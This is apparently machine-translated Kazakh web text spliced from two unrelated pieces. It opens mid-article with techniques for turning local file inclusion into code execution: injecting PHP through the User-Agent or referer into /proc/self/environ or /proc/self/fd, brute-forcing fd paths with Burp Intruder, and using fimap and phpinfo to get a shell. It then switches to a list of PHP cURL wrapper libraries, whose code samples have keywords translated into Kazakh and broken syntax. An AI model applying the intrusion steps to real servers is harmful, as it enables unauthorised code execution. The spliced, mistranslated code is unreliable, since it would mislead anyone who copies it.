Егер осал LFI сценарийінен /proc/self/environ қосу мүмкін болса, кодтың орындалуын User Agent параметрін Burp көмегімен басқару арқылы пайдалануға болады. PHP коды енгізілгеннен кейін /proc/self/environ осал LFI сценарийі арқылы орындалуы мүмкін.

/proc/self/fd/ LFI әдісі

Алдыңғы /proc/self/environ әдісіне ұқсас, осал LFI сценарийі арқылы орындауға болатын proc журналының файлдарына кодты енгізуге болады. Әдетте сіз PHP кодын реферерге енгізу үшін burp немесе curl қолданасыз.

Бұл әдіс аздап қиын, себебі Apache қате журналы ақпараты бар proc файлы /proc/self/fd/ астында өзгереді, мысалы. /proc/self/fd/2 , /proc/self/fd/10 т.б. Мен /proc/self/fd/ каталогының құрылымын Burp Intruder + FuzzDB-тің ықтимал proc файлдарының LFI-FD-Check.txt тізімімен дөрекі түрде мәжбүрлеуді ұсынамын, содан кейін қайтарылған бет өлшемдерін бақылап, зерттей аласыз.

fimap LFI қаламды сынау құралы

fimap — LFI сценарийлерін табу және пайдаланудың жоғарыда көрсетілген процестерін автоматтандыратын қалам сынақтарында қолданылатын құрал. Осал LFI сценарийін тапқан кезде fimap жергілікті файлдық жүйені санайды және жазылатын журнал файлдарын немесе /proc/self/environ сияқты орындарды іздейді. LFI табуды автоматтандыру үшін қалам сынауларында жиі қолданылатын тағы бір құрал - Kali's dotdotpwn, ол ұқсас жолмен жұмыс істейді.

fimap + phpinfo() пайдалану

Fimap құрылған уақытша файлдың орнын анықтау үшін PHPinfo() ақпаратты ашу қатесін теріс пайдалану арқылы Жергілікті файлдарды қосу арқылы PHP уақытша файл жасауын пайдаланады.

Егер phpinfo() файлы бар болса, әдетте қабықты алуға болады, егер сіз phpinfo файлының орнын білмесеңіз, fimap оны тексере алады немесе OWASP DirBuster сияқты құралды пайдалана аласыз.

Патшалар ма, бірақ кейде жобаңыздың көлеміне немесе маңыздылығына сәйкес сізге мұндай кітапхана қажет емес, тек cURL ғана қажет. Мәселе мынада, әдепкі синтаксисі бар cURL онымен жұмыс істеу жалықтыруы мүмкін, сондықтан оны пайдаланғыңыз келуі мүмкін. көптеген тапсырмаларды жеңілдететін және сұраулардың орындалуын жеңілдететін орауыш. Бұл жерде біз сізбен интернетте cURL үшін қолжетімді 7 ең жақсы орауыш кітапханасын бөліскіміз келеді.

7. Curl by dcai

Бұл қаптама PHP cURL кітапханасының синтаксисін жеңілдететін абстракциялық қабатты ұсынады:

$http = жаңа dcai\curl; // кэшті қосу $http = new dcai\curl(array("cache"=>true)); // cookie файлын қосу $http = new dcai\curl(array("cookie"=>true)); // проксиді қосу $http = new dcai\curl(array("proxy"=>true)); // HTTP GET $response = $http->get("http://example.com"); // HTTP POST $response = $http->post("http://example.com/", array("q"=>"сөздер", "name"=>"moodle")); // POST RAW $xml = " орындау"; $response = $http->post("http://example.com/", $xml); // HTTP PUT $response = $http->put("http://example.com/", массив("файл"=>"/var/www/test.txt");

6.CurlWrapper

CurlWrapper — PHP cURL кеңейтімі үшін икемді орауыш класы. Кітапхана данасын мыналармен оңай инициализациялауға болады:

( $curl = new CurlWrapper(); ) ұстап көріңіз (CurlWrapperException $e) ( echo $e->getMessage(); )

CurlWrapper нысаны сұраулардың 5 түрін қолдайды: HEAD, GET, POST, PUT және DELETE. Сұрау үшін URL мекенжайын көрсетуіңіз керек және онымен бірге жіберу үшін айнымалылардың ассоциативті массивін немесе сұрау жолын міндетті түрде көрсетуіңіз керек:

$response = $curl->head($url, $params); $response = $curl->get($url, $params); $response = $curl->post($url, $params); $response = $curl->put($url, $params); $response = $curl->delete($url, $params);

5. cURLx айналдыру

Rolling Curl - бұл өте тамаша атауы бар PHP үшін cURL мульти орауыш пайдалану оңай. Ол PHP-де бір мезгілде http сұрауларын мүмкіндігінше жеңілдетуге бағытталған. Алдымен бір уақытта ашқыңыз келетін қатарлас сұраулардың ең көп саны бар сыныпты инициализациялаңыз:

$RCX = жаңа RollingCurlX(10);

Одан кейінгі барлық сұраулар біреуі аяқталғанша кезекте тұрады:

$url = "http://www.google.com/search?q=apples"; $post_data = ["user" => "bob", "token" => "dQw4w9WgXcQ"]; //POST пайдаланылмаса NULL мәніне орнатыңыз $user_data = ["foo", $whatever]; $опциялар = ; функция callback_functn($response, $url, $request_info, $user_data, $time) ( $time; //сұраныс миллисекундтарда қанша уақытқа созылды (float) $request_info; //curl_getinfo($ch) арқылы қайтарылған массив, плюс жұп қосымшалар ) $RCX->addRequest($url, $post_data, "кері шақыру_функциясы", $user_data, $опциялар, $тақырыптар);

Өтініштерді жіберіңіз. Барлық сұраулар аяқталғанша немесе күту уақыты біткенше блоктайды:

$RCX->execute();

4. PHP Curl

PHP Curl - cURL үшін өте қарапайым PHP бұйра орауыш класы. Автордың пікірінше, бұл класс PHP-нің curl мүмкіндіктері үшін мүмкін болатын ең кішкентай OOP ораушысы. Бұл жоғары деңгейлі абстракция ретінде қарастырылмағанын ескеріңіз. Сіз әлі де «таза PHP» curl қалай жұмыс істейтінін білуіңіз керек, сіз білуіңіз керек curl опцияларын орнатуға болады және сіз кейбір HTTP негіздерін білуіңіз керек, оның синтаксисі әзірлеушіге ыңғайлы:

// newRequest, newJsonRequest және newRawRequest сұрау нысанын қайтарады $request = $curl->newRequest("post", $url, ["foo" => "bar"]) ->setHeader("Accept-Charset", "utf" -8") ->setHeader("Accept-Language", "en-US") ->setOption(CURLOPT_CAINFO, "/path/to/cert") ->setOption(CURLOPT_FOLLOWLOCATION, шын); $жауап = $сұрау->жіберу();

3. Curl Easy

Curl Easy — PHP cURL кеңейтіміне арналған қаптама. Параллельді және блокталмаған сұрауларды қолдайды. Бұл кішігірім, бірақ қуатты және сенімді кітапхана, ол заттарды тездетеді. Егер сіз PHP cURL кеңейтімін оның процедуралық интерфейсімен пайдаланудан шаршасаңыз, бірақ сценарийдің орындалуын бақылауды қаласаңыз, бұл сіз үшін тамаша таңдау. Бұл кітапхана:

  • бірлік кеңінен сыналған.
  • орташа деңгейлі интерфейсі бар жеңіл кітапхана. Бұл барлығы бір кітапхана емес.
  • өте қарапайым интерфейсі бар параллель/асинхронды қосылымдар.
  • сұрауларды орындау уақытында параллельді қосу/ажырату!
  • кері қоңырауларды қолдау, осылайша орындау процесін басқаруға болады.
  • CURLOPT_* тұрақтыларына балама ретінде интеллектуалды орнатушылар.
  • cURL PHP кеңейтімін білсеңіз, сізге басынан бастап үйренудің қажеті жоқ

Оның синтаксисін де түсіну өте оңай:

getOptions() ->set(CURLOPT_TIMEOUT, 5) ->set(CURLOPT_RETURNTRANSFER, шын); $жауап = $сұрау->жіберу(); $feed = json_decode($response->getContent(), шын); echo «Ағымдағы Bitcoin бағасы: «. $feed["data"]["rate"] . « . $feed["data"]["code"] . "\n";

2. Curl by Shuber

Curl кітапханасы PHP үшін негізгі CURL ораушысы болып табылады. Curl нысаны сұраулардың 5 түрін қолдайды: HEAD, GET, POST, PUT және DELETE. Сұрау үшін URL мекенжайын көрсетуіңіз керек және онымен бірге жіберу үшін ассоциативті массив немесе айнымалылар жолын таңдау керек. Curl сыныбын талап етіңіз және инициализациялаңыз:

Бір рет талап ету "curl.php"; $curl = new Curl; $response = $curl->head($url, $vars = массив()); $response = $curl->get($url, $vars = массив()); # Curl нысаны $vars массивін $url-ге сұрау жолы ретінде қосады $response = $curl->post($url, $vars = array()); $response = $curl->put($url, $vars = массив()); $response = $curl->delete($url, $vars = массив());

1. PHP Curl класы

PHP Curl класы - бұл HTTP сұрауларын жіберуді және кез келген веб API интерфейстерімен біріктіруді шынымен жеңілдететін өте жақсы жазылған cURL орамы. PHP Curl класы PHP 5.3, 5.4, 5.5, 5.6, 7.0, 7.1 және HHVM-мен жұмыс істейді. Бұл кітапхана кеңінен танымал және өте оңай синтаксисті ұсынады:

__DIR__ талап етеді. "/vendor/autoload.php"; use\Curl\Curl; $curl = new Curl(); $curl->get("https://www.example.com/"); if ($curl->error) ( echo "Қате: " . $curl->errorCode. ": " . $curl->errorMessage. "\n"; ) else ( echo "Жауап:" . "\n"; var_dump($curl->жауап);

Егер сіз PHP тілінде жазылған cURL кеңейтімі үшін тағы бір керемет орауыш кітапханасын білсеңіз, оны түсініктеме жолағында қауымдастықпен бөлісіңіз.